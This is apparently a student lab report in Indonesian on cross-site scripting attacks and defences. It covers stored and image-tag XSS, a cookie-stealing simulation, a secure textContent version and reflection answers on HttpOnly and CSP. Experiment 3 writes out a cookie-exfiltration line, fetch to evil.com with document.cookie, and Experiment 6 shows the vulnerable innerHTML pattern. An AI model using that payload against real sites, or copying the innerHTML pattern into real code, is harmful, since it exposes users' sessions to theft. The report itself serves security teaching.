## https://sploitus.com/exploit?id=0E2CD41C-FDCA-5A27-BB25-ADE98C04FC34
# XSS Attack & Defense
## EXPERIMENT 1: Stored XSS Attack
`alert('XSS!')` \
Browser alert berisi "XSS!" muncul. \

## EXPERIMENT 2: Image Tag XSS
`` \
Browser alert berisi "XSS via img!" muncul. \
 \
HTML memiliki event hook bawaan yang secara implisit mengeksekusi JavaScript. \
`onerror`, `onclick`, `onload`, dan sebagainya adalah titik eksekusi JavaScript.
## EXPERIMENT 3: Cookie Stealing Simulation
`` \
Browser akan memunculkan cookie user di alert. \
 \
Jika `alert()` diganti dengan `fetch('https://evil.com?cookie=' + document.cookie)`, akan muncul error. \

## EXPERIMENT 4: DOM Manipulation
`` \
Halaman background akan berubah menjadi warna merah. \

## EXPERIMENT 5: Versi Secure
Semua payload yang dijalankan dari keempat eksperimen sebelumnya tidak berfungsi. (Aman dari XSS!) \

## EXPERIMENT 6: Bandingkan Kode
Memperhatikan perbedaan kode antara vulnerable dan secure:
```
// VULNERABLE
container.innerHTML = `${userInput}`;
// SECURE
const div = document.createElement('div');
div.textContent = userInput;
container.appendChild(div);
```
Dalam kode vulnerable, input pengguna diperlakukan sebagai HTML / JavaScript sehingga browser membaca input tersebut sebagai kode yang bisa dijalankan. \
Sedangkan, dalam kode secure, input pengguna tidak diperlakukan sebagai kode dan hanya menampilkan tulisan apa adanya, sehingga browser tidak menjalankan kode.
## PERTANYAAN REFLEKSI
1. **Mengapa `` bisa menjalankan JavaScript?** \
Event `onerror` adalah titik eksekusi JavaScript saat gambar gagal dimuat.
2. **Apa perbedaan antara Stored XSS dan Reflected XSS dari perspektif attacker?** \
Stored XSS disimpan di server dan menyerang banyak user; Reflected XSS hanya berjalan saat user membuka link khusus.
3. **Mengapa HttpOnly cookie penting dalam konteks XSS?** \
HttpOnly cookie penting karena mencegah JavaScript mencuri cookie meski terjadi serangan XSS.
4. **Jika kamu perlu menampilkan rich text (dengan formatting), bagaimana caranya agar tetap aman?** \
Men-sanitize HTML menggunakan library terpercaya sebelum ditampilkan.
5. **Apa kegunaan Content Security Policy (CSP) header?** \
CSP Header berguna untuk membatasi sumber dan cara JavaScript dijalankan agar XSS tidak bisa dieksekusi.